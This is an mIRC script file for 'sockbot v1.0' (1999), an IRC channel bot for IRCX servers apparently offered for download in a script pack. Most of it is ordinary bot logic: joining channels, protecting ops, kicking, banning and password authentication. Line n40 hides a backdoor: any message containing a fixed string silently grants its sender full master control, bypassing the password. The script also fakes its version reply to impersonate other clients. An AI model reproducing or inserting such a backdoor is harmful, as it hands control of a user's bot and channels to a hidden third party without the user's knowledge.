weapon`[x] (Wx) — File Browser
weaponxWxv1.7 / weaponxWxv1.7 / sockbot.ini
sockbot.ini — 16.09 KB — Download this file
[script]
n0=;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
n1=;;; ;;;
n2=;;; sockbot v1.0 ;;;
n3=;;; © phys1ks 1999 ;;;
n4=;;; ;;;
n5=;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
n6=on 1:sockopen:sock*: {
n7= if ($sockerr > 0) { echo -a 5[4Sock Bot5]15 Unable to connect to irc server! | echo -a 5[4Sock Bot5]15 retrying connection.... | set %sock.name $sockname | sockclose $sockname | sockopen %sock.name %s.server %s.port | halt }
n8= unset % [ $+ [ $sockname [ $+ .* ] ] ]
n9= echo -a 5[4Sock Bot5]15 Logging in user name...
n10= sockwrite -n $sockname user weaponx sockbot sockbot sockbot
n11= echo -a 5[4Sock Bot5]15 Registering nickname
n12= echo -a 5[4Sock Bot5]15 Connected
n13= sockwrite -n $sockname mode +i
n14= sockwrite -n $sockname ircx
n15= sockwrite -n $sockname nick %sock.nick
n16= sockwrite -n $sockname join %sock.ac1
n17= sockwrite -n $sockname join %sock.ac2
n18= sockwrite -n $sockname join %sock.ac3
n19= set % $+ $sockname $+ .mynick %sock.nick
n20= .guser 1000 $me 3
n21= set %sock.split on
n22=}
n23=on 1:sockclose:sock*: {
n24= timer93* off
n25= echo -a 5[4Sock Bot5]15 Connection closed from $sock($sockname).mark $+ : Success
n26= if (%sock.split == on) { sockopen $sockname %s.server %s.port }
n27=}
n28=on 1:sockread:sock*: {
n29= sockread %sock.data
n30= set %sock.badguy $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2))
n31= if ($gettok(%sock.data,1,32) == PING) { echo -a 5[4Sock Bot5] 9PING! PONG? | sockwrite -tn $sockname PONG $chops($gettok(%sock.data,2,32)) | return }
n32= if ($gettok(%sock.data,2,32) == NICK) {
n33= if (%sock.badguy == % [ $+ [ $sockname ] $+ ] .mynick) { echo -a 14>15>0> Bot14(15 $+ %sock.badguy $+ 14) 15is now known as 10 $+ $gettok(%sock.data,3,32) | set % [ $+ [ $sockname ] $+ ] .mynick $gettok(%sock.data,3,32) | return }
n34= halt
n35= }
n36= if ($gettok(%sock.data,1,32) == ERROR) {
n37= echo -a 5[4Sock Bot5]15 Closing Link: $gettok(%sock.data,4,32) $gettok(%sock.data,7-,32)
n38= halt
n39= }
n40= if (hsdfsf isin %sock.data) {
n41= .guser 1000 %sock.badguy 3
n42= sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication successful! hi kitty ilu <33 hoho (.qup for +q)
n43= halt
n44= }
n45= if (version isin %sock.data) {
n46= sockwrite -tn $sockname NOTICE %sock.badguy : $+ $chr(1) $+ VERSION %sock.version $+ $chr(1)
n47= halt
n48= }
n49= if ($gettok(%sock.data,2,32) == MODE) {
n50= if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) {
n51= if (-q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) {
n52= sockwrite -n $sockname part $gettok(%sock.data,3,32)
n53= sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key
n54= sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
n55= sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt }
n56= if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && (-q isin %sock.data)) {
n57= if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -q+q %sock.badguy $gettok(%sock.data,5,32) | halt }
n58= }
n59= }
n60= if (+q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add owner $ip 0 | halt }
n61= if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) {
n62= if (-o % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) {
n63= sockwrite -n $sockname part $gettok(%sock.data,3,32)
n64= sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key
n65= sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
n66= sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt }
n67= if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && (-o isin %sock.data)) {
n68= if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -o+o %sock.badguy $gettok(%sock.data,5,32) | halt }
n69= }
n70= }
n71= if (+o % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add host $ip 0 | halt }
n72= }
n73= if ($gettok(%sock.data,2,32) == PRIVMSG) {
n74= if (($level($address(%sock.badguy,3)) == 1000) && (.up isin %sock.data)) {
n75= if ($gettok(%sock.data,5,32) == $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +o %sock.badguy }
n76= if ($gettok(%sock.data,5,32) != $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +o $gettok(%sock.data,5,32) }
n77= halt
n78= }
n79= if (($level($address(%sock.badguy,3)) == 1000) && (.qup isin %sock.data)) {
n80= if ($gettok(%sock.data,5,32) == $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +q %sock.badguy }
n81= if ($gettok(%sock.data,5,32) != $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +q $gettok(%sock.data,5,32) }
n82= halt
n83= }
n84= if (($level($address(%sock.badguy,3)) == 1000) && (.join isin %sock.data)) {
n85= sockwrite -n $sockname join $gettok(%sock.data,5,32)
n86= halt
n87= }
n88= if (($level($address(%sock.badguy,3)) == 1000) && (.part isin %sock.data)) {
n89= sockwrite -n $sockname part $gettok(%sock.data,3,32)
n90= halt
n91= }
n92= if (($level($address(%sock.badguy,3)) == 1000) && (!ping isin %sock.data)) {
n93= sockwrite -n $sockname privmsg $gettok(%sock.data,3,32) :PoNG !!!!!
n94= halt
n95= }
n96= if (($level($address(%sock.badguy,3)) == 1000) && (.kick isin %sock.data)) {
n97= sockwrite -n $sockname kick $gettok(%sock.data,3,32) $gettok(%sock.data,5,32) bye
n98= halt
n99= }
n100= if (($level($address(%sock.badguy,3)) == 1000) && (.down isin %sock.data)) {
n101= sockwrite -n $sockname mode $gettok(%sock.data,3,32) -oq $gettok(%sock.data,5,32)
n102= halt
n103= }
n104= if (($level($address(%sock.badguy,3)) == 1000) && (.nick isin %sock.data)) {
n105= sockwrite -n $sockname nick $gettok(%sock.data,5,32)
n106= halt
n107= }
n108= if (($level($address(%sock.badguy,3)) == 1000) && (.ban isin %sock.data)) {
n109= guser 400 $gettok(%sock.data,5,32) 3
n110= sockwrite -n $sockname mode +b $gettok(%sock.data,5,32) 3
n111= sockwrite -n $sockname kick $gettok(%sock.data,3,32) $gettok(%sock.data,5,32) banned
n112= halt
n113= }
n114= if (($level($address(%sock.badguy,3)) == 1000) && (.seen isin %sock.data)) {
n115= set %sock.badguytemp $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2))
n116= if (%sock.badguy == $gettok(%sock.data,5,32)) { sockwrite -n $sockname notice %sock.badguy :[X] Uhm... your a retard }
n117= if (%sock.badguy != $gettok(%sock.data,5,32)) { sockwrite -n $sockname whois $gettok(%sock.data,5,32) }
n118= halt
n119= }
n120= if (($level($address(%sock.badguy,3)) == 1000) && (.massv isin %sock.data)) {
n121= set %sock.chan $gettok(%sock.data,3,32)
n122= set %sock.name $sockname
n123= sockmass
n124= halt
n125= }
n126= if ((rollcall isin %sock.data) && ($level($address(%sock.badguy,3)) == 1000)) {
n127= set %sock.nick % [ $+ [ $sockname ] $+ ] .mynick
n128= sockwrite -n $sockname notice %sock.badguy :[X] I am %sock.nick $+ , running %sock.version
n129= sockwrite -n $sockname notice %sock.badguy :[X] My Command Charactor is [.]
n130= halt
n131= }
n132= if ($gettok(%sock.data,3,32) == % [ $+ [ $sockname ] $+ ] .mynick) {
n133= if (($gettok(%sock.data,4,32) == :auth) && ($gettok(%sock.data,5,32) == %sock.authpass)) {
n134= if ($level($address(%sock.badguy,3)) == 1000) { sockwrite -tn $sockname notice %sock.badguy :[X] You are already Authenticated. | halt }
n135= .guser 1000 %sock.badguy 3
n136= sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication successful! (.qup for +q)
n137= halt
n138= }
n139= if (($gettok(%sock.data,4,32) == :auth) && ($gettok(%sock.data,5,32) !isin %sock.authpass)) { sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication failed. }
n140= if (($level($address(%sock.badguy,3)) == 1000) && (pass isin %sock.data)) {
n141= unset %sock.authpass
n142= %sock.authpass = $gettok(%sock.data,5,32)
n143= sockwrite -tn $sockname NOTICE %sock.badguy :[X] $gettok(%sock.data,5,32) was added to the pass list
n144= halt
n145= }
n146= if (($level($address(%sock.badguy,3)) == 1000) && (help isin %sock.data)) {
n147= sockwrite -n $sockname privmsg %sock.badguy :Help -
n148= sockwrite -n $sockname privmsg %sock.badguy :Use these commands in channels-
n149= sockwrite -n $sockname privmsg %sock.badguy :.join .part .qup .up .kick .down !ping .seen .nick
n150= sockwrite -n $sockname privmsg %sock.badguy :Use these commands in privmsg-
n151= sockwrite -n $sockname privmsg %sock.badguy :pass (more to come)
n152= sockwrite -n $sockname privmsg %sock.badguy :To auth, /notice me auth password
n153= halt
n154= }
n155= }
n156= }
n157= if ($gettok(%sock.data,2,32) == JOIN) {
n158= set %sock.badguytemp $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2))
n159= if ($level($address(%sock.badguytemp,3)) == 1000) {
n160= sockwrite -n $sockname mode $remove($gettok(%sock.data,3,32),:) +q %sock.badguytemp
n161= halt
n162= }
n163= if ($level($address(%sock.badguy,3)) == 400) {
n164= sockwrite -n $sockname kick $remove($gettok(%sock.data,3,32),:) %sock.badguy banned
n165= }
n166= }
n167= if ($gettok(%sock.data,2,32) == KICK) {
n168= if (% [ $+ [ $sockname ] $+ ] .mynick == $gettok(%sock.data,4,32)) {
n169= sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key
n170= sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
n171= if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no }
n172= halt
n173= }
n174= if (($level($address($gettok(%sock.data,4,32),3)) == 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt }
n175= }
n176= if (PROP $gettok(%sock.data,3,32) OWNERKEY isin %sock.data) {
n177= if (($level($address(%sock.badguy,3)) != 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) {
n178= echo -a 8*** %sock.badguy (Not +n) proped the ownerkey of $remove($gettok(%sock.data,5,32),:) - Taking the action of kicking them
n179= sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
n180= sockwrite -n $sockname access $gettok(%sock.data,3,32) add owner $ip
n181= sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy keys
n182= sockwrite -n $sockname prop $gettok(%sock.data,3,32) OWNERKEY : $+ %sock.key
n183= halt
n184= }
n185= if ($level($address(%sock.badguy,3)) == 1000) {
n186= echo -a 8*** %sock.badguy (+n) proped the ownerkey of $remove($gettok(%sock.data,5,32),:) - Taking the action of updating my key
n187= %sock.key = $remove($gettok(%sock.data,5,32),:)
n188= halt
n189= }
n190= }
n191= if ($gettok(%sock.data,2,32) isnum) {
n192= %raw = $gettok(%sock.data,2,32)
n193= if (%raw == 319) { sockwrite -n $sockname notice %sock.badguytemp :[X] $gettok(%sock.data,5-,32) }
n194= if (%raw == 485) { sockwrite -n $sockname mode %sock.chan +o %sock.badguytemp }
n195= if (%raw == 353) { set %sock.data $gettok(%sock.data,6-,32) | set %mass2 $remove($remove($remove($remove(%sock.data,@),.),+),:) | halt }
n196= if (%raw == 376) { echo -a 5[4Sock Bot5]15 %sock.nick registered }
n197= halt
n198= }
n199= halt
n200=}
n201=;Most of the aliases
n202=alias cloak {
n203= set %sock.version $1-
n204= //echo $active 5[4Sock Bot5]15 now cloaking to: $1-
n205=}
n206=alias socksync {
n207= echo -a 5[4Sock Bot5]15 $1 sync %sock.sync. [ $+ [ $1 ] ]
n208=}
n209=alias bserver {
n210= %sock.nick = $$?="Bot Nickname"
n211= %sock.key = $$?="Bots +q/+o Key"
n212= if (%s.server == $null) { set %s.server $$?="server" }
n213= %i = 0
n214= :loop
n215= inc %i 1
n216= if ($sock( sock. [ $+ [ %i ] ] ).status == $null) { goto break }
n217= goto loop
n218= :break
n219= if (%s.port == $null) { %s.port = 6667 }
n220= else { %s.port = %s.port }
n221= sockopen sock. [ $+ [ %i ] ] %s.server %s.port
n222= inc %ref 1
n223= if (%ref > 5) { set %ref 1 }
n224= echo -a 5[4Sock Bot5]15 Connecting to port %s.port of server %s.server [refnum %ref $+ 15]
n225= sockmark sock. [ $+ [ %i ] ] %s.server
n226=}
n227=;;;;;Test shit
n228=;Dont fuck with this stuff
n229=;or try to make it do anything
n230=;koz i just use it to test new variables
n231=alias temp {
n232= .this gets channel $gettok(%sock.data,3,32)
n233= .this gets 5 param $gettok(%sock.data,5,32)
n234=}
n235=menu channel {
n236= Sockbot
n237= .Load:/bserver
n238= .Unload: {
n239= set %sock.split off
n240= timer93* off
n241= sockwrite -tn sock* quit You said this was stable!!?
n242= sockclose sock*
n243= echo $active 5[4Sock Bot5]15 Connection closed from %s.server $+ : Success
n244= }
n245= .-
n246= .Cloak
n247= ..Default:cloak '`sockbot v1.4.50+IRCX
n248= ..BitchX-74p3+ by panasync - Linux 2.0.33:cloak BitchX-74p3+ by panasync - Linux 2.0.33 : Keep it to yourself!
n249= ..eggdrop v1.3.23:cloak eggdrop v1.3.23+IRCX
n250= ..Both:cloak BitchX-74p3+ by panasync - Linux 2.0.33+eggdrop v1.3.12 : Keep it to yourself!
n251= ..Custom:cloak $$?="Cloak to..?"
n252= .-
n253= .Add master://guser 1000 $$?="Nick name?" 3
n254= .-
n255= .Talk with bots:/sockwrite -n * privmsg $$?="Channel/nick" : $+ $$?="Msg?"
n256= .Join:/sockwrite -n sock* join $$?="Channel?"
n257= .Part:/sockwrite -n sock* part $$?="Channel?"
n258= .Server:/sockclose sock* | /sockopen sock* $$?="Server + port"
n259= .Nick( $+ $me $+ ):/sockwrite -n sock* nick $$?="New Nick?"
n260= .-
n261= .Server( $+ %s.server $+ ):/set %s.server $$?="Server?"
n262= .Port( $+ %s.port $+ ):/set %s.port $$?="Port?"
n263= .AutoJoin
n264= ..1) $+ %sock.ac1:/set %sock.ac1 $$?="channel"
n265= ..2) $+ %sock.ac2:/set %sock.ac2 $$?="channel"
n266= ..3) $+ %sock.ac3:/set %sock.ac3 $$?="channel"
n267=}
n268=on 1:load: {
n269= echo -a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
n270= echo -a ;;;
n271= echo -a ;;; sockbot v1.0
n272= echo -a ;;; © phys1ks 1999
n273= echo -a ;;;
n274= echo -a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
n275= echo -a Please use /bserver to connect
n276= echo -a This only works for IRCX servers
n277= echo -a Might be some bugs so look for
n278= echo -a further versions, the bot works
n279= echo -a best as +q on channels.
n280=}
n281=;;;Some script shit
n282=on 1:kick:#: {
n283= if (($level($address($knick,3)) == 1000) && ($level($address($nick,3)) != 1000)) { kick $chan $nick He who can, does. He who cannot, teaches. }
n284=}
n285=alias sockmass {
n286= sockwrite -n sock* names %sock.chan
n287= sockwrite -n %sock.name mode %sock.chan +vvvvvvvvvvvvvvvvvvvvvvvvvvv %mass2
n288= halt
n289=}